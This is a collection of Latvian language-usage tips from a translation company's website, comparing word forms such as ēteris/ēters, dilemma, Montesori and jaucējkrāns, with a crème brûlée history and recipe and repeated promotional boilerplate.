Modified: 2024-07-16 - URL: https://skrivanek.lv/eteris-pret-eters/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional ĒTERIS PRET ĒTERS 1 Vai sarunu skatāmies tiešajā ēterī vai ēterā? Gan vārds „ēteris”, gan „ēters” aizgūti no grieķu valodas vārda „aithēr”. Šiem vārdiem ir dažādas nozīmes. Ēteris ir bezkrāsains, gaistošs šķidrums ar raksturīgu smaku, ko lieto par narkozes līdzekli. Savukārt ēters ir telpa, vide, kurā tiek pārraidīti radioviļņi. Svarīgi atcerēties, ka vārdi atšķiras arī locījumos: vārda „ēteris” locījumu formas ir šādas: N. ēteris, Ģ. ētera, D. ēterim, A. ēteri, I. ar ēteri, L. ēterī, V. ēteri! Savukārt vārda „ēters” – N. ēters, Ģ. ētera, D. ēteram, A. ēteru, I. ar ēteru, L. ēterā, V. ēter! Tātad radio ēterā skan mūzika, tiešo ēteru pēkšņi var pamest kāds raidījuma dalībnieks. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai varam saskarties ar dilemu vai dilemmu? Ieskaties un uzzini atbildi! Vairāki noderīgi latviešu valodas padomi vienuviet! - Published: 2018-04-17 - Modified: 2025-01-27 - URL: https://skrivanek.lv/dilema-pret-dilemma/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional DILEMA PRET DILEMMA 1 Vai varam saskarties ar dilemu vai dilemmu? Situāciju, kad jāizvēlas viena no divām vai vairākām (parasti vienlīdz nepatīkamām) iespējām, sauc par dilemmu. Vārds aizgūts no grieķu vārda „dilēmma”, kas radies no vārdiem „di” ar nozīmi 'divreiz' un „lemma” ar nozīmi 'lēmuma pieņēmums'. Latviešu valodā šis vārds rakstāms ar diviem līdzskaņiem „m”: dilemma. Tātad dažkārt mums nākas saskarties ar dilemmu. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai skolēns saņem vērtējumu 10 ballu vai 10 baļļu sistēmā? Ieskaties un uzzini atbildi! Vairāki noderīgi latviešu valodas padomi vienuviet! - Published: 2018-04-17 - Modified: 2024-11-13 - URL: https://skrivanek.lv/10-ballu/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional 10 BALLU PRET 10 BAĻĻU 1 Vai skolēns saņem vērtējumu 10 ballu vai 10 baļļu sistēmā? Vārdam „balle” ir vairākas nozīmes. Par balli dēvē sarīkojumu, kura lielāko daļu aizņem dejas – piemēram, Ziemassvētku balle, masku balle. Balle ir arī mērvienība gan dabas procesu intensitātes noteikšanai, gan arī kādu citu vērtējumu izteikšanai skaitļos, piemēram, ballēs izsaka zināšanu vērtējumu vai lauksaimniecībā izmantojamās zemes kvalitātes vērtējumu. Lietojot šo vārdu, jāuzmanās ar daudzskaitļa ģenitīva formu: „balle” ir 5. deklinācijas lietvārds, kuram daudzskaitļa ģenitīvā ir līdzskaņa „j” noteiktā mija: egle – egļu, šalle – šaļļu. Tātad atbilstoši arī balle – baļļu. Tā kā latviešu valodā arī no vārda „baļļa” daudzskaitļa ģenitīva forma ir „baļļu”, labskaņas un nepārprotamības dēļ, runājot par ballēm kā mērvienību, līdzskaņa mijas daudzskaitļa ģenitīvā nav: balle – ballu. Lai gan vārdā „balle” sarīkojuma nozīmē saskaņā ar pareizrakstības normām mija ir, proti, vārds „balle” kļūst par „baļļu”, visticamāk, labskaņas dēļ daudzskaitļa ģenitīva formas vietā lietojam vienskaitli: balles dejas, balles tērpi utt. Tātad skolēns saņem vērtējumu 10 ballu vērtēšanas sistēmā, kādu salu skar četras balles stipra zemestrīce. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Rosāmies virtuvē – gatavosim uzputeni, uzpūteni vai debesmannu? Uzzini atbildi! Vairāki noderīgi latviešu valodas padomi vienuviet! - Published: 2018-04-17 - Modified: 2024-07-15 - URL: https://skrivanek.lv/uzputenis-pret-debesmanna/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional UZPUTENIS PRET UZPŪTENIS PRET DEBESMANNA 1 Rosāmies virtuvē – vai gatavosim uzputeni, uzpūteni vai debesmannu? Saldo ēdienu, ko gatavojam no mannas un augļiem, ogām vai sulas, to uzputojot, sauc vai nu par uzputeni, vai par uzpūteni. Latviešu valodas ekspertu komisija vārdus „uzputenis” un „uzpūtenis” atzinusi par paralēlformām. Mums noteikti pazīstams arī vēl viens šī saldā ēdiena nosaukums – debesmanna. Katrai saimniecei ir savas uzputeņa, uzpūteņa jeb debesmannas gatavošanas tradīcijas un noteikti arī savs ierastais nosaukums, taču latviešu valodā tie lietojami kā sinonīmi. Ņemsim ogas un gatavosim uzputeni, uzpūteni jeb debesmannu! Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai mācīsimies pēc Montesori vai Montessori metodēm? Ieskaties un uzzini atbildi! Vairāki noderīgi latviešu valodas padomi vienuviet! - Published: 2018-04-17 - Modified: 2022-12-22 - URL: https://skrivanek.lv/montessori-pret-montesori/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional MONTESSORI PRET MONTESORI 1 Vai mācīsimies pēc Montesori vai Montessori metodēm? Montesori pedagoģija nosaukta tās izveidotājas Marijas Montesori vārdā. Marija Montesori bija itāļu pedagoģe, kura izveidoja speciālas mācību metodes bērniem. Lai gan itāļu valodā uzvārds rakstāms ar diviem līdzskaņiem „s” – Montessori –, saskaņā ar latviešu valodas normām šo līdzskani nedubulto (izņemot salikteņus, piemēram, lietussargs, saulessvece), tāpēc vārds rakstāms ar vienu līdzskani „s”: Montesori. Tātad varam izmantot Montesori metodes, bērni var apmeklēt Montesori skolas utt. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai ēdīsim dārzāju vai dārzeņu salātus? Uzzini atbildi! Vairāki latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā komunikācijā, gan sadzīvē. - Published: 2018-04-17 - Modified: 2022-12-22 - URL: https://skrivanek.lv/darzaji-pret-darzeni/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional DĀRZĀJI PRET DĀRZEŅI 1 Vai ēdīsim dārzāju vai dārzeņu salātus? Vārds „dārzāji” ir Jura Alunāna ieviests jaunvārds. Mums labi pazīstami līdzīgi darināti vārdi: krūmāji, ogulāji. Lai gan dārzāju nosaukums nav tik ierasts, vārdi „dārzāji” un „dārzeņi” ir sinonīmi. Tātad varam gatavot dārzāju jeb dārzeņu salātus, piemājas dārziņā audzēt dārzājus jeb dārzeņus. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Kā latviešu valodā dēvēsim šo gardo saldēdienu? Ieskaties un uzzini atbildi! Vairāki noderīgi latviešu valodas padomi vienuviet! - Published: 2018-04-17 - Modified: 2024-08-14 - URL: https://skrivanek.lv/krembrule-pret-krems-brule-pret-brile-krems/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional KREMBRULĒ PRET KRĒMS BRULĒ PRET BRILĒ KRĒMS 1 Vai saldajā ēdienā būs krembrulē, krēms brulē vai brilē krēms? Franču valodā rakstītais saldais ēdiens „la crème brûlée” „Franču-latviešu vārdnīcā” tulkots kā brilē krēms. Lai gan franču valodā „brûlée” nozīmē ‘apdedzināts’, ēdiena nosaukumā to netulko, bet latviešu valodā atveido saskaņā ar tā izrunu: patskanis „û” atveidojams ir „i”, tātad „brûlée” kļūst par brilē. Turklāt, tā kā latviešu valodā apzīmētāju liekam pirms, nevis pēc apzīmējamā vārda, latviešu valodā to saucam nevis krēms brilē, bet brilē krēms. Tātad restorānā saldajā ēdienā lūgsim brilē krēmu vai raudzīsim brilē krēmu pagatavot paši. Citi latviešu valodas padomi BRILĒ KRĒMA TRIUMFS Brilē krēma vēsture ir tikpat garda un iekārojama, cik pats deserts. Nekad pasaulē nav bijis neviens deserts, par kura piederību gadsimtu gaitā strīdētos pavāri Anglijā, Spānijā un Francijā, apgalvojot, ka ir radījuši šī gardā deserta pirmo versiju. Kulinārijas eksperti gan atzīst, ka dažādi olu krēmi bija populāri jau viduslaikos, un kopš tā laika olu krēmu receptes plaši izplatījās visā Eiropā. Tāpēc ir gandrīz neiespējami atrast pirmo šī deserta recepti. Jautājums ir: kurš pirmais karamelizēja cukuru uz olu krēma un pasniedza to kā desertu? BRILĒ KRĒMA VĒSTURE Agrākā zināmā pierakstītā deserta recepte ar nosaukumu crème brûlée ir atrodama Fransuā Masjalo (franču šefpavārs un Versaļas pils pavārs) 1691. gadā izdotajā pavārgrāmatā Cuisinier royal et bourgeois. Jautājums par šīs receptes oriģinalitāti ir rosinājis diskusijas mūsdienu gastronomu aprindās, un daži autori norāda, ka spāņu crema catalana, kuras izcelsme ir datēta ar 14. gadsimtu, varētu būt iedvesmojusi šefpavārus visā Eiropā, tostarp arī Fransuā Masjalo. Daži avoti kā pirmo min Bartolomeo Stefani (viduslaiku itāļu pavārs) 1662. gadā sarakstītajā pavārgrāmatā L’arte di ben cucinare atrasto deserta Latte alla Spagnuola recepti, kas ir ļoti līdzīga spāņu crema catalana receptei, taču Stefani receptē apraksta citādāku deserta pasniegšanas veidu, pirms pasniegšanas olu krēma virspusi vienkārši apkaisot ar cukuru. Nosaukums burnt cream jeb sadedzināts krējums parādās arī Fransuā Masjalo pavārgrāmatas tulkojumā angļu valodā 1702. gadā, bet 1740. gadā pavāri sāk izmantot ļoti līdzīgu recepti ar nosaukumu crême à l'Angloise jeb angļu krēms, kas atkal mūsdienu vēsturniekos rada šaubas par deserta oriģinalitāti. Anglijā deserts tika ieviests Trīsvienības koledžā, Kembridžā 1879. gadā kā Trinity Cream vai Cambridge burnt cream. Lai gan nevar pierādīt, ka Kembridžas Trīsvienības koledža patiešām ir izgudrojusi cildeno gardumu, ko viņi arī paši atzīmē kā maz ticamu, viņu ēdienkartē ir iekļauta viņu brilē krēma versija. Virtuves personālam ir gludeklis ar koledžas ģerboni, ko izmanto piedegušā cukura virskārtas dekorēšanai. Briti dedzīgi noliedz, ka Trinity cream un crème brûlée ir viens un tas pats ēdiens. Lai gan franču versija ir ļoti salda, angļu versija ir nesaldināta, bet cukura virskārta ir biezāka un kraukšķīgāka. Spāņi apgalvo, ka viņu crema catalana versija ir īstais crème brûlée priekštecis. Tomēr crema catalana tiek gatavots pēc pavisam citas tehnoloģijas kā crème brûlée. Lielākā daļa cilvēku pasaulē pieņem, ka brilē krēms ir franču deserts. Galu galā deserta nosaukums taču ir franču valodā. Brilē krēms 19. un 20. gadsimta franču un angļu pavārgrāmatās nebija ļoti izplatīts. Tas kļuva ārkārtīgi populārs 20. gadsimta 80. gados ASV ─ "šīs desmitgades pašaizliedzības simbols un restorānu uzplaukuma mīlulis", kā to sauc, iespējams, tā popularizētājs restorators un pavārgrāmatu autors Sirio Maccioni, kura Ņujorkas restorānā Le Cirque ēdienkartē pēc daudziem gadu desmitiem atkal parādījās šis deserts. Viņš apgalvoja, ka padarījis to par slavenāko un līdz šim populārāko desertu restorānos no Parīzes līdz Peorijai. Pats Sirio šo desertu atklāja 1982. gadā, kad pavadījis Itālijas futbola komandu uz Pasaules kausu futbolā Barselonā. Viņa draugs, topošais Spānijas karalis Huans Karloss ielūdzis Sirio uz vakariņām, kur pasniegts šis burvīgais deserts spāņu creme catalana versijā. Tas tik ļoti iegaršojies Sirio, ka tā recepti viņš paņēmis uz ASV. Le Cirque tas pasniegts gan ASV prezidentiem, valstu vadītājiem, karaliskām personām un neskaitāmām slavenībām 30 gadu garumā. Kopš tā laika katru gadu 27. jūlijā ASV tiek svinēta Brilē krēma diena. BRILĒ KRĒMA VARIĀCIJAS Sākot ar viduslaiku saldo olu krēmu priekšteci un beidzot ar mūsdienu variācijām, šo populāro desertu var pārveidot daudzos veidos. Krējuma krēma aromatizēšana Dažas šī ēdiena versijas ir ļoti saldas, un dažas ir sāļākas. Franči mēdz olu krēmam pievienot daudz cukura, savukārt citās versijās ir nepieciešams vaniļas aromatizētājs. Olu krēma aromatizēšanai ir dažādas variācijas: apelsīna vai citrona miziņa ir populārākā variācija, ko parasti pievieno saldākam olu krēmam; dažās receptēs tiek izmantotas vaniļas pupiņas, kakao vai pat kokosriekstu ekstrakts; svaigi augļi dažreiz ir vēlams papildinājums šim desertam. Avenes vai mellenes ir garšīgas ar bagātīgo olu krēmu; deserta gatavošanas procesā var pievienot liķierus. Pirms cepšanas pievieno olu krēmam 1 līdz 2 ēdamkarotes Grand Marnier, Amaretto, Kahlua vai Irish Cream; pirms cukura pārklājuma izveidošanas, olu krēmam dažreiz tiek uzkaisīta rūgta rīvēta šokolāde. Iespējams, pasaule nekad neuzzinās, kas izgudroja brilē krēmu un no kurienes tas nāk. Tomēr ikviens var piekrist, ka šis gardais deserts ir pelnījis vietu pavārgrāmatās visā pasaulē. Brilē krēma populārākā recepte ASV. SIRIO MACCIONI LE CIRQUE BRILĒ KRĒMS SASTĀVDAĻAS Četras glāzes bieza saldā krējuma. Viena vaniļas pupiņas pāksts, sadalīta gareniski. Šķipsna sāls. Astoņi lieli olu dzeltenumi. ¾ glāze, plus 2 ēdamkarotes granulēta cukura. Astoņas ēdamkarotes gaiši brūnā cukura. PAGATAVOŠANA Uzkarsē cepeškrāsni līdz 300 grādiem. Cepšanas pannā ievieto astoņus ugunsizturīgos trauciņus. Katliņā uz lēnas uguns samaisa krējumu, vaniļas pupiņu un sāli. Silda piecas minūtes. Lielā bļodā sajauc olu dzeltenumus un granulēto cukuru. Pievieno karsto krējumu un viegli samaisa, lai izveidotos viendabīga masa. Izkāš olu krēmu krūkā, izmet vaniļas pupiņu un ar karoti noņem visus burbuļus uz olu krēma virsmas. Ielej olu krēmu trauciņos, piepildot tos līdz malai. Ievieto cepešpannu cepeškrāsnī un uzmanīgi ielej pannā siltu ūdeni, līdz tas sasniedz pusi malas. Brīvi pārklāj pannu ar alumīnija foliju. Cep apmēram 25 minūtes līdz krēms sabiezējis Izņem trauciņus no ūdens peldes un ļauj atdzist. Ievieto ledusskapī vismaz uz trīs stundām vai līdz divām dienām. Kad deserts gatavs pasniegšanai, uzsilda cepeškrāsni. Novieto trauciņus uz cepešpannas. Katru apkaisa ar vienu ēdamkaroti brūnā cukura un, izmanto metāla lāpstiņu vai nazi, vienmērīgi izklāj cukuru pa olu krēmiem. Cepj olu krēmus, līdz cukurs kļūst brūns un karamelizējies, 30 sekundes līdz divām minūtēm. Pasniedz uzreiz vai ievieto ledusskapī līdz četrām stundām. TULKOJUMI 110+ VALODĀS Skrivanek tulku un tulkotāju komanda strādā gan ar tipveida dokumentu rakstiskajiem tulkojumiem, gan notariāli apliecinātiem tulkojumiem. Tulkošanas birojs Skrivanek nodrošina arī tekstu korektūru un stilistisko uzlabošanu, ja nepieciešams tiek veikta redaktūra un terminoloģijas pārbaude. Nodrošinām visa veida mutiskās tulkošanas pakalpojumus uz un no angļu, franču, spāņu un citām valodām. Tulkojumi 110+ valodās VALODU KURSI Piedāvājam valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī individuālos un grupu kursus privātpersonām. Nodarbības nodrošinām klātienē vai tiešsaistē. Īpašais piedāvājums - apmeklējiet individuālos kursus divatā, maksājot tikai par viena studenta mācībām! Valodu kursi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties --- > Vai pilsētā notiek annuālie vai ikgadējie svētki? Ieskaties un uzzini atbildi! Vairāki noderīgi latviešu valodas padomi vienuviet! - Published: 2018-04-17 - Modified: 2025-04-03 - URL: https://skrivanek.lv/annuals-pret-ikgadejs/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional ANNUĀLS PRET IKGADĒJS 1 Vai pilsētā notiek annuālie vai ikgadējie svētki? Vārds „annuāls” latviešu valodā ir tiešs pārcēlums no angļu valodas. Angļu valodas vārds „annual” nozīmē ‘gada-‘, ‘ikgadējs’. Tā angļu „annual account” ir ‘gada pārskats’, „annual competition” – ‘ikgadējas sacensības’. Iespējams, vārdu „annuāls” uztveram kā svešvārdu, tāpēc to reizēm sastopam latviešu valodā. Tātad piedalīsimies ikgadējos (nevis annuālos) maratonos, sniegsim gada (nevis annuālos) pārskatus utt. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Iekārtojot vannasistabas un virtuves, runājam gan par jaucējkrāniem, gan maisītājkrāniem. Kurš nosaukums ir pareizais? Ieskaties un uzzini atbildi! - Published: 2018-04-17 - Modified: 2022-12-22 - URL: https://skrivanek.lv/jaucejkrans-pret-maisitajkrans/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional JAUCĒJKRĀNS PRET MAISĪTĀJKRĀNS 1 Iekārtojot vannasistabas un virtuves, runājam gan par jaucējkrāniem, gan maisītājkrāniem. Kurš nosaukums ir pareizais? Krānu, kuru regulējot, varam tecināt gan auksto, gan karsto ūdeni, latviešu valodā sauc gan par maisītāju, gan jaucējkrānu. Lai gan nozares profesionāļi abus terminus lieto kā sinonīmus, saskaņā ar Akadēmisko terminu datubāzi terminu „maisītājs” attiecinām uz vielām, kuras maisot, mainām to stāvokli: „grunts maisītājs” vai „mālu maisītājs”, savukārt uz aukstā un karstā ūdens jaukšanu attiecināms termins „jaucējkrāns”: „vannas jaucējkrāns”, „jaucējkrāns ar dušas sietiņu” utt. Termins „maisītājkrāns”, visticamāk, radies, apvienojot terminu „maisītājs” un „jaucējkrāns”, un latviešu valodā nav ieteicams. Tātad vannai un izlietnei izvēlēsimies jaucējkrānu. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai no mācību iestādes atskaita vai izslēdz? Ieskaties un uzzini atbildi! Vairāki noderīgi latviešu valodas padomi vienuviet! - Published: 2018-04-17 - Modified: 2022-12-22 - URL: https://skrivanek.lv/atskaitit-pret-izslegt/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional ATSKAITĪT PRET IZSLĒGT 1 